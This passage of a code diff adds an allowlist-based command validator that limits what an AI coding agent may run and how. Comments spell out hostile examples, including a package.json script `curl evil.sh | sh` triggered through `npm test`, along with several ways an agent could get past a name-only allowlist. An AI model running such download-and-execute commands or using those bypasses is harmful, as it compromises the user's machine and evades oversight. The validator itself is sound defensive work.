1651
+ ok: false,
1652
+ error: `"${bad}" is not allowed in a command. There is no shell here: pipes, &&, ;, redirection, quotes, backticks and $() are refused, so run one plain command per call.`
1653
+ + ` For an argument containing quotes or spaces, use run_program — it takes a real argument array, so nothing needs quoting.`
1654
+ + ` To run JavaScript (what \`node -e\` is for), use evaluate.`,
1655
+ };
1656
+ }
1657
+ const tokens = command.split(/ +/).filter(Boolean);
1658
+ if (tokens.length > MAX_COMMAND_TOKENS) {
1659
+ return { ok: false, error: `command has ${tokens.length} arguments, over the ${MAX_COMMAND_TOKENS} limit` };
1660
+ }
1661
+ return { ok: true, command, tokens };
1662
+ }
1663
+
1664
+ /** A non-flag token must be a legal workspace path — the same rule, and the
1665
+ * same function, the file tools use. `..`, absolute paths, drive letters, UNC
1666
+ * and spaces are therefore already dead. */
1667
+ function checkOperand(token, binary, { packagePatterns = false } = {}) {
1668
+ /**
1669
+ * ── ⚠️⭐ A GLOB IS CHECKED FOR CONTAINMENT, NOT FOR BEING A FILENAME ────────
1670
+ *
1671
+ * `normalizeRelativePath` is the WRITE boundary — it decides where bytes may
1672
+ * land, and there `*` is meaningless and rightly refused. But a command
1673
+ * ARGUMENT is not a destination, and `node --test test/*.test.mjs` is both the
1674
+ * commonest test invocation in Node and this package's own test script. Sending
1675
+ * it through the write validator meant Acuvo Code could not run Acuvo Code's
1676
+ * test suite.
1677
+ *
1678
+ * ⭐ So the wildcard segments are replaced with a placeholder and the SHAPE is
1679
+ * validated: `..`, absolute paths, drive letters and URLs stay refused exactly
1680
+ * as before, because those are the properties that let an argument escape. What
1681
+ * is no longer required is that the string name a single existing file.
1682
+ *
1683
+ * ⚠️ THE WRITE BOUNDARY IS UNTOUCHED. Nothing here loosens where a file may be
1684
+ * written; `resolveInWorkspace` still refuses `*` outright, and the traversal
1685
+ * tests that pin it still pass. Expansion is done by node itself, verified
1686
+ * live: spawned with `shell: false`, the literal glob reached node and it
1687
+ * expanded it — 316 tests, exit 0.
1688
+ */
1689
+ const hasGlob = /[*?]/.test(token);
1690
+ let probe = hasGlob ? token.replace(/[*?]+/g, 'g') : token;
1691
+
1692
+ /**
1693
+ * ── ⚠️⭐ `go test ./...` — A PACKAGE PATTERN IS NOT A PATH, EITHER ──────────
1694
+ *
1695
+ * Exactly the same lesson the glob above taught, in a second ecosystem. `...`
1696
+ * is Go's "and everything under here" wildcard, and `./...` is *the* canonical
1697
+ * way to test a Go module — it appears in nearly every Go CI file on earth.
1698
+ * `normalizeRelativePath` refuses it, correctly and for a Windows reason: a
1699
+ * segment of nothing but dots is a directory Windows will create and then not
1700
+ * let you delete. That rule is right for a WRITE destination and wrong for a
1701
+ * command argument, which never names a destination.
1702
+ *
1703
+ * ⚠️ ONLY THE EXACT SEGMENT `...` IS SUBSTITUTED, so `..` is untouched and
1704
+ * `go test ../.../x` is still refused with the ".." reason. The containment
1705
+ * property is unchanged; what is relaxed is the requirement that the string
1706
+ * name a directory that could exist.
1707
+ */
1708
+ if (packagePatterns && probe.includes('...')) {
1709
+ probe = probe.split(/[\\/]/).map((seg) => (seg === '...' ? 'g' : seg)).join('/');
1710
+ }
1711
+
1712
+ const norm = normalizeRelativePath(probe);
1713
+ if (!norm.ok) return { ok: false, error: `"${token}" is not usable as an argument to ${binary}: ${norm.reason}` };
1714
+ /**
1715
+ * ⚠️ A glob is NOT resolved to a real path — it does not name one yet. Return
1716
+ * the token as written so the child receives exactly what the user typed;
1717
+ * substituting the probe would run the tests in a directory called "g".
1718
+ */
1719
+ if (hasGlob) return { ok: true, token, glob: true };
1720
+ return { ok: true };
1721
+ }
1722
+
1723
+ function checkFlag(token, { flags, valueFlags, separateValueFlags, refused, binary, custom }) {
1724
+ const eq = token.indexOf('=');
1725
+ const key = eq === -1 ? token : token.slice(0, eq);
1726
+ const reason = refused?.get(key);
1727
+ if (reason) return { ok: false, error: `${key} is refused: ${reason}` };
1728
+ /**
1729
+ * ⚠️ A CUSTOM BINARY'S GRAMMAR IS THE ADMIN'S, SO SAY SO. "not an allowed
1730
+ * flag" reads as our decision; for a binary someone added themselves the
1731
+ * decision was theirs, and the fix is one edit away from where they made it.
1732
+ */
1733
+ const notAllowed = (what) => (custom
1734
+ ? { ok: false, error: `${what} was not declared for "${binary}". A binary added through ${ALLOW_COMMANDS_ENV} gets only the flags declared with it — we cannot know a stranger program's argument semantics, so we do not guess. Declare it: ${ALLOW_COMMANDS_ENV}="${binary}:${key}".` }
1735
+ : { ok: false, error: `${what} is not an allowed ${binary} flag (allowed: ${[...(flags ?? [])].join(' ')})` });
1736
+
1737
+ if (eq === -1) {
1738
+ if (flags?.has(key)) return { ok: true };
1739
+ if (separateValueFlags?.has(key)) return { ok: true, wantsValue: key };
1740
+ return notAllowed(key);
1741
+ }
1742
+ if (!valueFlags?.has(key)) return notAllowed(`${key}=…`);
1743
+ const value = token.slice(eq + 1);
1744
+ if (!value) return { ok: false, error: `${key}= was given no value` };
1745
+ return { ok: true };
1746
+ }
1747
+
1748
+ /**
1749
+ * ⚠️ WHY A SEPARATE-VALUE FLAG NEEDS ITS OWN STATE RATHER THAN FALLING THROUGH
1750
+ * TO THE OPERAND CHECK — and this is a real hole that the naive version had.
1751
+ *
1752
+ * `python -m pytest` is normal. `python -m pip install requests` is a registry
1753
+ * fetch wearing the same clothes, and if `-m`'s value is validated as an
1754
+ * ordinary operand then `pip`, `install` and `requests` are all perfectly legal
1755
+ * relative paths and the whole thing passes. So the VALUE is checked against
1756
+ * what that specific flag may take, and the value is consumed rather than
1757
+ * re-examined as a path.
1758
+ */
1759
+ function checkFlagValue(rule, value, key, binary) {
1760
+ if (rule instanceof RegExp) {
1761
+ if (!rule.test(value)) return { ok: false, error: `"${value}" is not a value ${binary} ${key} accepts` };
1762
+ return { ok: true };
1763
+ }
1764
+ if (!rule.has(value)) {
1765
+ return { ok: false, error: `${binary} ${key} ${value} is refused — only ${[...rule].join(', ')} may follow ${key}. Anything that installs from a package registry fetches and runs a stranger's code, which no allowlist of program names can check.` };
1766
+ }
1767
+ return { ok: true };
1768
+ }
1769
+
1770
+ function validateOperands(tokens, from, spec) {
1771
+ for (let i = from; i < tokens.length; i += 1) {
1772
+ const token = tokens[i];
1773
+ if (!token.startsWith('-')) {
1774
+ const check = checkOperand(token, spec.binary, { packagePatterns: spec.packagePatterns });
1775
+ if (!check.ok) return check;
1776
+ continue;
1777
+ }
1778
+ const check = checkFlag(token, spec);
1779
+ if (!check.ok) return check;
1780
+ if (check.wantsValue) {
1781
+ const value = tokens[i + 1];
1782
+ if (value === undefined) return { ok: false, error: `${check.wantsValue} was given no value` };
1783
+ const rule = spec.separateValueFlags.get(check.wantsValue);
1784
+ const verdict = checkFlagValue(rule, value, check.wantsValue, spec.binary);
1785
+ if (!verdict.ok) return verdict;
1786
+ i += 1;
1787
+ }
1788
+ }
1789
+ return { ok: true };
1790
+ }
1791
+
1792
+ function validateNode(command, tokens) {
1793
+ const spec = { flags: NODE_FLAGS, valueFlags: NODE_VALUE_FLAGS, refused: REFUSED_NODE_FLAGS, binary: 'node' };
1794
+ const check = validateOperands(tokens, 1, spec);
1795
+ if (!check.ok) return check;
1796
+ return { ok: true, command, tokens, binary: 'node' };
1797
+ }
1798
+
1799
+ function validateVitest(command, tokens, from, binary) {
1800
+ /**
1801
+ * ⚠️ `vitest` WITHOUT `run` IS A WATCHER. It never exits, so it would burn
1802
+ * the entire timeout and hand the model back nothing but "timed out" — a
1803
+ * round spent, money spent, nothing learned. Requiring the word is one
1804
+ * refusal the model can act on immediately, and the message says how.
1805
+ */
1806
+ if (tokens[from] !== 'run') {
1807
+ return { ok: false, error: 'vitest must be run as "vitest run …" — without `run` it starts a watcher that never exits' };
1808
+ }
1809
+ const spec = { flags: VITEST_FLAGS, valueFlags: VITEST_VALUE_FLAGS, refused: null, binary: 'vitest' };
1810
+ const check = validateOperands(tokens, from + 1, spec);
1811
+ if (!check.ok) return check;
1812
+ return { ok: true, command, tokens, binary };
1813
+ }
1814
+
1815
+ function validateTsc(command, tokens, from, binary) {
1816
+ const spec = { flags: TSC_FLAGS, valueFlags: TSC_VALUE_FLAGS, refused: REFUSED_TSC_FLAGS, binary: 'tsc' };
1817
+ const check = validateOperands(tokens, from, spec);
1818
+ if (!check.ok) return check;
1819
+ return { ok: true, command, tokens, binary };
1820
+ }
1821
+
1822
+ function validateNpm(command, tokens, { allowInstall = false } = {}) {
1823
+ const sub = tokens[1];
1824
+ if (NPM_INSTALL_SUBCOMMANDS.has(sub)) {
1825
+ /**
1826
+ * ⭐ THE REFUSAL NAMES THE SWITCH. This is the reachability half of the
1827
+ * feature and it is not decoration: a capability whose only door is an
1828
+ * environment variable nobody mentions is a capability that does not exist.
1829
+ * The agent that hits this can tell the human the exact line to run, in the
1830
+ * same round it discovered it needed a dependency.
1831
+ */
1832
+ if (!allowInstall) {
1833
+ return {
1834
+ ok: false,
1835
+ /**
1836
+ * ⚠️ THE PHRASE "never installs or publishes" IS LOAD-BEARING TEXT, not
1837
+ * prose. `test/spawn-argv.test.mjs` pins it as the default surface's
1838
+ * promise, and that promise is unchanged: with no environment variable
1839
+ * set, this sentence is the whole behaviour.
1840
+ */
1841
+ error: `npm ${sub} is refused — on the default surface this agent never installs or publishes, because an install downloads and runs code from the registry, which is the one thing an allowlist of program names cannot check. A human can switch installs on for this machine by setting ${ALLOW_INSTALL_ENV}=1 in the environment that launches acuvo-code (the agent has no verb that reaches it). When it is on: --ignore-scripts is forced, only registry names are accepted (no URL, git, file: or npm: alias), and the change to package.json is saved so you can see it in the diff.`,
1842
+ };
1843
+ }
1844
+ return validateNpmInstall(command, tokens);
1845
+ }
1846
+ if (sub === 'test' || sub === 't') {
1847
+ if (tokens.length !== 2) return { ok: false, error: 'npm test takes no extra arguments here' };
1848
+ return { ok: true, command, tokens, binary: 'npm', npmScript: 'test' };
1849
+ }
1850
+ if (sub === 'run' || sub === 'run-script') {
1851
+ if (tokens.length !== 3) {
1852
+ return { ok: false, error: 'use exactly "npm run <script>" — extra npm arguments are refused' };
1853
+ }
1854
+ const script = tokens[2];
1855
+ if (!/^[A-Za-z0-9][A-Za-z0-9:._-]*$/.test(script)) return { ok: false, error: `"${script}" is not a valid npm script name` };
1856
+ return { ok: true, command, tokens, binary: 'npm', npmScript: script };
1857
+ }
1858
+ /**
1859
+ * ⚠️ `exec` / `publish` / `link` ARE THE INTERESTING REFUSALS AND HAVE NO
1860
+ * SWITCH. `exec` fetches and runs a package without recording it anywhere —
1861
+ * everything `install` costs with none of the reviewable receipt that made
1862
+ * `install` gateable at all. `publish` pushes this repository to a public
1863
+ * registry, which is not a step an agent takes unattended, in any mode.
1864
+ */
1865
+ return {
1866
+ ok: false,
1867
+ error: `npm ${sub ?? '(nothing)'} is refused — only "npm test" and "npm run <script>" are allowed (plus "npm install"/"npm ci" when ${ALLOW_INSTALL_ENV}=1). exec and publish have no switch at all: exec runs registry code without recording what it ran, and publish uploads this repository.`,
1868
+ };
1869
+ }
1870
+
1871
+ /**
1872
+ * ── ⭐ THE ONE AUTHORITY, FOR BOTH DOORS ────────────────────────────────────
1873
+ *
1874
+ * `run_command` reaches install through `validateCommand` (string → tokenizer →
1875
+ * `validateNpm`). `run_program` reaches it through here (argv, already split).
1876
+ * Both end at the SAME `validateNpm`, so there is no second, laxer path — the
1877
+ * defect shape this file's header names in its own first paragraph.
1878
+ *
1879
+ * ⚠️ THE ARGV DOOR SKIPS THE CHARACTER WHITELIST, AND THAT IS THE POINT OF
1880
+ * `spawn-argv.mjs`: an argv slot needs no tokenizer because nothing will re-parse
1881
+ * it. For an install it costs nothing, because the thing that actually decides
1882
+ * safety here is `validateInstallSpec`, which is a whitelist of SHAPE and runs
1883
+ * on every operand either way. It is why `zod@^4.1.0` works through this door
1884
+ * and not the other one.
1885
+ *
1886
+ * @param {unknown} args e.g. `['install', 'zod']`
1887
+ * @param {{ allowInstall?: boolean }} [opts]
1888
+ */
1889
+ export function validateNpmInstallArgv(args, { allowInstall = false } = {}) {
1890
+ if (!Array.isArray(args) || args.some((a) => typeof a !== 'string')) {
1891
+ return { ok: false, error: 'npm install needs an array of string arguments, e.g. ["install", "zod"]' };
1892
+ }
1893
+ const tokens = ['npm', ...args];
1894
+ return validateNpm(tokens.join(' '), tokens, { allowInstall });
1895
+ }
1896
+
1897
+ function validateNpx(command, tokens) {
1898
+ const pkg = tokens[1];
1899
+ if (!ALLOWED_NPX_PACKAGES.includes(pkg)) {
1900
+ return {
1901
+ ok: false,
1902
+ error: `npx ${pkg ?? '(nothing)'} is refused — npx runs a package from the registry, so only ${ALLOWED_NPX_PACKAGES.join(' and ')} are allowed, and only if already installed here.`,
1903
+ };
1904
+ }
1905
+ if (pkg === 'vitest') return validateVitest(command, tokens, 2, 'npx');
1906
+ return validateTsc(command, tokens, 2, 'npx');
1907
+ }
1908
+
1909
+ /**
1910
+ * A preset (or admin-declared) binary, validated through the SAME machinery the
1911
+ * original four use: the character whitelist has already run, the flags are a
1912
+ * whitelist, and every non-flag operand goes through `normalizeRelativePath`.
1913
+ *
1914
+ * ⚠️ There is no second, laxer path here. That was the specific way this could
1915
+ * have gone wrong — "the four are checked properly and the new ones get a quick
1916
+ * once-over" — so the subcommand gate is the only thing added, and it is a
1917
+ * whitelist too.
1918
+ */
1919
+ function validatePreset(command, tokens, spec, allowlist) {
1920
+ const binary = spec.binary;
1921
+ let from = 1;
1922
+
1923
+ if (spec.subcommands) {
1924
+ const sub = tokens[1];
1925
+ const refusedReason = spec.refusedSubcommands?.get(sub);
1926
+ if (refusedReason) return { ok: false, error: `${binary} ${sub} is refused: ${refusedReason}` };
1927
+ if (sub === undefined) {
1928
+ return { ok: false, error: `${binary} needs a subcommand — one of: ${[...spec.subcommands].join(', ')}` };
1929
+ }
1930
+ if (!spec.subcommands.has(sub)) {
1931
+ return { ok: false, error: `${binary} ${sub} is not allowed. Allowed: ${[...spec.subcommands].join(', ')}${spec.refusedSubcommands?.size ? `. Refused on purpose: ${[...spec.refusedSubcommands.keys()].join(', ')}` : ''}` };
1932
+ }
1933
+ from = 2;
1934
+
1935
+ /**
1936
+ * ⭐ `bundle exec rspec` DELEGATES THE PROGRAM CHOICE, so the delegated name
1937
+ * goes back through the allowlist rather than being trusted. Without this,
1938
+ * one allowed binary would launder every other one — the same shape as the
1939
+ * `npm test` bypass, arriving through a different door.
1940
+ */
1941
+ if (spec.delegates) {
1942
+ const inner = tokens[2];
1943
+ if (!inner) return { ok: false, error: `${binary} exec needs a program to run` };
1944
+ const innerSpec = allowlist.grammar.get(inner);
1945
+ if (!innerSpec || innerSpec.builtin) {
1946
+ return { ok: false, error: `${binary} exec ${inner} is refused — "${inner}" is not itself on the allowlist, and delegating the choice of program is exactly what an allowlist of programs must not permit.` };
1947
+ }
1948
+ const rest = validateOperands(tokens, 3, innerSpec);
1949
+ if (!rest.ok) return rest;
1950
+ return { ok: true, command, tokens, binary, spec };
1951
+ }
1952
+ }
1953
+
1954
+ const check = validateOperands(tokens, from, spec);
1955
+ if (!check.ok) return check;
1956
+ return { ok: true, command, tokens, binary, spec };
1957
+ }
1958
+
1959
+ /**
1960
+ * The whole gate, as one pure function. Every refusal is a sentence that says
1961
+ * what to do instead, because the audience is a model that gets another round.
1962
+ *
1963
+ * @param {unknown} raw
1964
+ * @param {{ script?: boolean, allowlist?: Allowlist, allowInstall?: boolean }} [opts]
1965
+ * `script: true` validates a package.json script BODY rather than a command
1966
+ * the model wrote — different binary list, same everything else. `allowlist`
1967
+ * defaults to the four, so every existing caller is unchanged.
1968
+ *
1969
+ * ⚠️ `allowInstall` DEFAULTS TO FALSE AND THAT IS THE SAFETY PROPERTY. Every
1970
+ * existing call site — `acceptance.mjs`, `background.mjs`, `spawn-argv.mjs`'s
1971
+ * flag probe, the script-body validator — keeps refusing `npm install`
1972
+ * without being edited. Only the one caller that has read the operator's
1973
+ * environment can turn it on, and it has to say so explicitly.
1974
+ *
1975
+ * ⚠️ It is NOT read from `process.env` in here. This function is pure and a
1976
+ * thousand tests depend on that; a hidden environment read would also make
1977
+ * the script-body path (`script: true`) silently inherit the switch, and an
1978
+ * npm script that says `npm install` is exactly the chain this file refuses
1979
+ * to follow.
1980
+ */
1981
+ export function validateCommand(raw, { script = false, allowlist = DEFAULT_ALLOWLIST, allowInstall = false } = {}) {
1982
+ const tok = tokenizeCommand(raw);
1983
+ if (!tok.ok) return tok;
1984
+ const { command, tokens } = tok;
1985
+ const binary = tokens[0];
1986
+ const allowed = script ? ALLOWED_SCRIPT_BINARIES : allowlist.binaries;
1987
+ if (!allowed.includes(binary)) {
1988
+ if (script) {
1989
+ return { ok: false, error: `the script runs "${binary}", which this agent cannot verify. An npm script may only run: ${allowed.join(', ')}.` };
1990
+ }
1991
+ /**
1992
+ * ⭐ THE REFUSAL HAS TO NAME THE WAY OUT. Measured on the glob refusal
1993
+ * earlier in this file: a message that names a rule and not an alternative
1994
+ * costs a whole round, because the model has nothing to do differently. So
1995
+ * when the binary is one a shipped preset provides, say which preset and
1996
+ * where to switch it on.
1997
+ */
1998
+ const preset = presetProviding(binary);
1999
+ const hint = preset
2000
+ ? ` "${binary}" ships in the "${preset}" preset (${COMMAND_PRESETS[preset].describe}), which is OFF by default. Enable it by adding {"presets":["${preset}"]} to ${COMMANDS_CONFIG_FILE}, or by setting ${ALLOW_COMMANDS_ENV}=${preset} in the environment.`
2001
+ : ` Other ecosystems ship as presets (${PRESET_NAMES.join(', ')}) and are off until enabled in ${COMMANDS_CONFIG_FILE}; a program of your own can be added with ${ALLOW_COMMANDS_ENV}.`;
2002
+ return {
2003
+ ok: false,
2004
+ error: `"${binary}" is not a program this agent may run. Allowed here: ${allowed.join(', ')}.${hint}`,
2005
+ };
2006
+ }
2007
+ switch (binary) {
2008
+ case 'node': return validateNode(command, tokens);
2009
+ case 'vitest': return validateVitest(command, tokens, 1, 'vitest');
2010
+ /**
2011
+ * ⚠️ MEASURED, NOT ASSUMED: `&& !script` is UNREACHABLE TODAY. Mutating it
2012
+ * away left `test/npm-install.test.mjs` green, because `npm` is not in
2013
+ * `ALLOWED_SCRIPT_BINARIES` and a script body naming npm dies twenty lines
2014
+ * above this. It stays as defence in depth — the day someone adds `npm` to
2015
+ * that list, an npm script body reading `npm install evil` must still be a
2016
+ * chain this validator refuses to follow rather than one it walks — and the
2017
+ * test pins the BINARY LIST, which is the guard that actually holds.
2018
+ */
2019
+ case 'npm': return validateNpm(command, tokens, { allowInstall: allowInstall && !script });
2020
+ case 'npx': return validateNpx(command, tokens);
2021
+ default: break;
2022
+ }
2023
+ const spec = allowlist.grammar.get(binary);
2024
+ /* c8 ignore next */
2025
+ if (!spec) return { ok: false, error: `"${binary}" is allowed but has no argument grammar — this is a bug in acuvo-code` };
2026
+ if (spec.builtin === 'tsc') return validateTsc(command, tokens, 1, 'tsc');
2027
+ /**
2028
+ * ── ⭐ ARGUMENT AUTHORITY FOLLOWS THE PROGRAM ──────────────────────────────
2029
+ *
2030
+ * `python -m pytest -q` is two grammars in one command line: python's up to
2031
+ * `-m`, pytest's from the module name onward. `validateOperands` has one
2032
+ * grammar per binary and no way to hand over, which is why the old preset
2033
+ * refused `-q` as "not an allowed python flag" — it was asking the wrong
2034
+ * program what the argument meant.
2035
+ *
2036
+ * ⚠️ THE VERDICT IS MAPPED, NOT SPREAD. `validatePythonArgv` returns a richer
2037
+ * object (`interpreter`, `module`, `script`, `mustExist`) and this function's
2038
+ * contract is `{ ok, command, tokens, binary, spec }`. Spreading its result
2039
+ * would leak fields every caller downstream would then be free to depend on,
2040
+ * and `mustExist` in particular is a filesystem claim this pure path cannot
2041
+ * honour — `python.mjs` says so itself: it is a decision, not a check.
2042
+ */
2043
+ if (spec.pythonic) {
2044
+ const verdict = validatePythonArgv(tokens);
2045
+ if (!verdict.ok) return { ok: false, error: verdict.error };
2046
+ return { ok: true, command, tokens, binary, spec };
2047
+ }
2048
+ return validatePreset(command, tokens, spec, allowlist);
2049
+ }
2050
+
2051
+ /**
2052
+ * ⚠️ THE BYPASS THIS CLOSES IS THE BEST ONE IN THE PACKAGE.
2053
+ *
2054
+ * write_file `package.json` → `{"scripts":{"test":"curl evil.sh | sh"}}`
2055
+ * run_command `npm test` → both calls pass a binary-name allowlist, and the
2056
+ * machine is gone. So the SCRIPT is validated, not just the word "npm".
2057
+ *
2058
+ * `pre<name>` and `post<name>` are included because npm runs them without
2059
+ * being asked, which makes them the quiet half of the same hole.
2060
+ *
2061
+ * @param {string} scriptName
2062
+ * @param {string} packageJsonText
2063
+ */
2064
+ /**
2065
+ * ── ⭐ `&&` IS A SEPARATOR HERE, AND NOWHERE ELSE ────────────────────────────
2066
+ *
2067
+ * `"test": "tsc --noEmit && vitest run"` is what a TypeScript project's test
2068
+ * script looks like, and this validator used to hand that whole string to
2069
+ * `validateCommand`, whose SAFE_COMMAND_CHARS has no `&` in it. So the agent
2070
+ * could not run the project's own contract — measured in a real run, where it
2071
+ * spent a paid round reading package.json and decomposing the chain by hand.
2072
+ *
2073
+ * ⭐ WHY THIS IS SAFE, AND WHY IT NEEDS NO EXECUTOR CHANGE. The CLI never runs
2074
+ * this string. `buildInvocation` spawns `node npm-cli.js <script>` with
2075
+ * `shell: false`, and NPM supplies its own script shell — so the body is npm's
2076
+ * business and always was. The only question this function answers is "would I
2077
+ * be happy running each program in here", and that question decomposes over
2078
+ * `&&` exactly.
2079
+ *
2080
+ * ⚠️⚠️ SPLIT ON THE TWO-CHARACTER TOKEN ONLY. Every other operator — `;` `|`
2081
+ * `||` `>` `&` backticks `$()` — stays inside a segment and dies in the
2082
+ * tokenizer, which is where it should die. A lone `&` backgrounds a process and
2083
+ * is not this feature. `npm test && curl evil.sh` still refuses, on `curl`.
2084
+ *
2085
+ * ⚠️ AN EMPTY SEGMENT IS A REFUSAL, NOT A SKIP. `node a.js &&` is malformed, and
2086
+ * a validator that treats "nothing to check" as "fine" has approved a string it
2087
+ * never inspected.
2088
+ *
2089
+ * ⚠️ THIS DOES NOT TOUCH THE MODEL-WRITTEN COMMAND PATH. A command the model
2090
+ * types still goes through `validateCommand` whole, where `&` is refused. The
2091
+ * difference is authorship: a package.json script was written by a human and is
2092
+ * reviewable in the repo; a model-authored string is neither.
2093
+ */
2094
+ function validateScriptBody(body) {
2095
+ const segments = String(body).split('&&');
2096
+ if (segments.length === 1) return validateCommand(body, { script: true });
2097
+
2098
+ for (const segment of segments) {
2099
+ const trimmed = segment.trim();
2100
+ if (!trimmed) {
2101
+ return { ok: false, error: `"${body}" has an empty step around "&&" — that is a typo, not a command chain` };
2102
+ }
2103
+ const verdict = validateCommand(trimmed, { script: true });
2104
+ if (!verdict.ok) {
2105
+ return { ok: false, error: `the step ${JSON.stringify(trimmed)} is not allowed: ${verdict.error}` };
2106
+ }
2107
+ }
2108
+ return { ok: true };
2109
+ }
2110
+
2111
+ export function validateNpmScriptChain(scriptName, packageJsonText) {
2112
+ let pkg;
2113
+ try {
2114
+ pkg = JSON.parse(packageJsonText);
2115
+ } catch (err) {
2116
+ return { ok: false, error: `package.json is not valid JSON: ${err instanceof Error ? err.message : String(err)}` };
2117
+ }
2118
+ const scripts = pkg && typeof pkg === 'object' ? pkg.scripts : null;
2119
+ if (!scripts || typeof scripts !== 'object') {
2120
+ return { ok: false, error: 'package.json has no "scripts" section, so there is nothing to run' };
2121
+ }
2122
+ if (typeof scripts[scriptName] !== 'string') {
2123
+ const available = Object.keys(scripts).slice(0, 12);
2124
+ return {
2125
+ ok: false,
2126
+ error: `package.json has no "${scriptName}" script${available.length ? ` (it has: ${available.join(', ')})` : ''}`,
2127
+ };
2128
+ }
2129
+ const chain = [`pre${scriptName}`, scriptName, `post${scriptName}`]
2130
+ .filter((name) => typeof scripts[name] === 'string')
2131
+ .map((name) => ({ name, body: scripts[name] }));
2132
+
2133
+ for (const link of chain) {
2134
+ const verdict = validateScriptBody(link.body);
2135
+ if (!verdict.ok) {
2136
+ return {
2137
+ ok: false,
2138
+ error: `the "${link.name}" script is ${JSON.stringify(link.body)}, which is not allowed: ${verdict.error}`,
2139
+ };
2140
+ }
2141
+ }
2142
+ return { ok: true, chain };
2143
+ }
2144
+
2145
+ /**
2146
+ * ⚠️ WHY THIS RESOLVES `npm` TO A `.js` FILE INSTEAD OF SPAWNING `npm`.
2147
+ *
2148
+ * On Windows `npm` is `npm.cmd`, and since the BatBadBut fix (CVE-2024-27980)
2149
+ * Node REFUSES to spawn a `.cmd` without `shell: true`. The obvious workaround
2150
+ * is therefore to turn the shell back on — which would hand a shell the string
2151
+ * this entire file exists to keep away from one, and would do it on the single
2152
+ * platform where the developer is working today.
2153
+ *
2154
+ * So: spawn the real `node` binary we are already running (`process.execPath`)
2155
+ * with npm's own JavaScript entry point. No shim, no shell, same behaviour on
2156
+ * every platform, and one fewer thing that resolves through `PATH`.
2157
+ */
2158
+ function findNpmEntry(fileName, execPath = process.execPath) {
2159
+ const dir = dirname(execPath);
2160
+ const candidates = [
2161
+ join(dir, 'node_modules', 'npm', 'bin', fileName), // Windows, nvm
2162
+ join(dir, '..', 'lib', 'node_modules', 'npm', 'bin', fileName), // POSIX prefix layout
2163
+ join(dir, '..', 'node_modules', 'npm', 'bin', fileName),
2164
+ ];
2165
+ return candidates.find((c) => existsSync(c)) ?? null;
2166
+ }
2167
+
2168
+ /**
2169
+ * Turn a validated command into an exact `spawn(file, args)` with no shell and
2170
+ * no PATH lookup of anything but node itself.
2171
+ */
2172
+ export function buildInvocation(valid, root, { execPath = process.execPath } = {}) {
2173
+ const rest = valid.tokens.slice(1);
2174
+ if (valid.binary === 'node') {
2175
+ return { ok: true, file: execPath, args: rest };
2176
+ }
2177
+ if (valid.binary === 'npm') {
2178
+ const entry = findNpmEntry('npm-cli.js', execPath);
2179
+ if (!entry) return { ok: false, error: 'npm could not be located next to this Node install, so it cannot be run without a shell' };
2180
+ /**
2181
+ * ── ⚠️⚠️⭐ `--ignore-scripts` IS FORCED HERE, AT THE SPAWN, ON PURPOSE ──
2182
+ *
2183
+ * THE DECISION, AND ITS COST, BOTH WRITTEN DOWN: an npm install runs
2184
+ * `preinstall`/`install`/`postinstall` for the requested package AND FOR
2185
+ * EVERY TRANSITIVE DEPENDENCY, as the invoking user, before anyone has read
2186
+ * a line of what arrived. That is the mechanism essentially every npm
2187
+ * supply-chain worm has used, Shai-Hulud included. It is strictly more
2188
+ * dangerous than anything else this package permits, and it is not needed
2189
+ * for the thing the agent actually wants, which is `import { z } from 'zod'`
2190
+ * to resolve.
2191
+ *
2192
+ * ⚠️ WHAT IT BREAKS, HONESTLY: packages that compile a native addon or
2193
+ * download a prebuilt binary at install time — `esbuild`, `sharp`,
2194
+ * `better-sqlite3`, `bcrypt`, `puppeteer`, `cypress`. They will land on disk
2195
+ * and then fail at require time. That is a MINORITY of the registry and it
2196
+ * is the correct minority to lose: those are exactly the installs a human
2197
+ * should be running, because they are the ones that execute something.
2198
+ * `formatRunForModel` prints this so the agent can say it rather than
2199
+ * flailing at a mystery failure.
2200
+ *
2201
+ * ⭐ AND WHY *HERE* RATHER THAN IN THE VALIDATOR: this is derived from the
2202
+ * ARGV ABOUT TO BE SPAWNED, not from a flag a caller remembered to set. A
2203
+ * second caller (`spawn-argv.mjs`) builds npm install argvs too; deriving it
2204
+ * from the noun means that caller cannot forget, and a future third caller
2205
+ * cannot either. A guard that depends on being told is a guard that gets
2206
+ * satisfied by coincidence.
2207
+ *
2208
+ * ⚠️ A COMMAND-LINE FLAG BEATS `.npmrc` IN NPM'S CONFIG PRECEDENCE (cli >
2209
+ * env > project .npmrc > user .npmrc), so a workspace `.npmrc` cannot undo
2210
+ * this. `executeRunCommand` refuses on such an `.npmrc` anyway — belt and
2211
+ * braces, because the precedence is npm's promise and not ours.
2212
+ */
2213
+ const args = [entry, ...rest];
2214
+ if (NPM_INSTALL_SUBCOMMANDS.has(rest[0])) args.splice(2, 0, '--ignore-scripts');
2215
+ return { ok: true, file: execPath, args };
2216
+ }
2217
+ if (valid.binary === 'npx') {
2218
+ const entry = findNpmEntry('npx-cli.js', execPath);
2219
+ if (!entry) return { ok: false, error: 'npx could not be located next to this Node install, so it cannot be run without a shell' };
2220
+ /**
2221
+ * ⚠️ `--no` IS THE WHOLE REASON npx IS ALLOWED AT ALL. Without it, npx
2222
+ * DOWNLOADS a missing package and runs it — remote code execution with a
2223
+ * friendly name. With it, npx will only run a binary already installed in
2224
+ * this workspace, and says so plainly when it is not.
2225
+ */
2226
+ return { ok: true, file: execPath, args: [entry, '--no', ...rest] };
2227
+ }
2228
+ if (valid.binary === 'tsc') {
2229
+ // tsc: the workspace's own compiler, never a global one.
2230
+ const local = join(root, 'node_modules', 'typescript', 'bin', 'tsc');
2231
+ if (!existsSync(local)) {
2232
+ return { ok: false, error: 'tsc is not installed in this workspace (node_modules/typescript is missing)' };
2233
+ }
2234
+ return { ok: true, file: execPath, args: [local, ...rest] };
2235
+ }
2236
+
2237
+ const spec = valid.spec;
2238
+ /* c8 ignore next */
2239
+ if (!spec) return { ok: false, error: `${valid.binary} has no invocation rule — this is a bug in acuvo-code` };
2240
+
2241
+ /**
2242
+ * ⭐ THE `node-bin` PRESET RESOLVES TO A FILE, NOT TO A NAME — the same trick
2243
+ * `tsc` already uses, and it is the reason this preset is the safest of them:
2244
+ * nothing goes through `PATH`, and our own `process.execPath` runs it.
2245
+ *
2246
+ * ⚠️ It also sidesteps the Windows trap the npm comment above describes. The
2247
+ * `node_modules/.bin/eslint` shim is `eslint.cmd` on Windows, and since
2248
+ * CVE-2024-27980 Node refuses to spawn a `.cmd` without `shell: true` — which
2249
+ * is the one thing this file will never turn on. Naming the package's own
2250
+ * `.js` entry point avoids the shim entirely.
2251
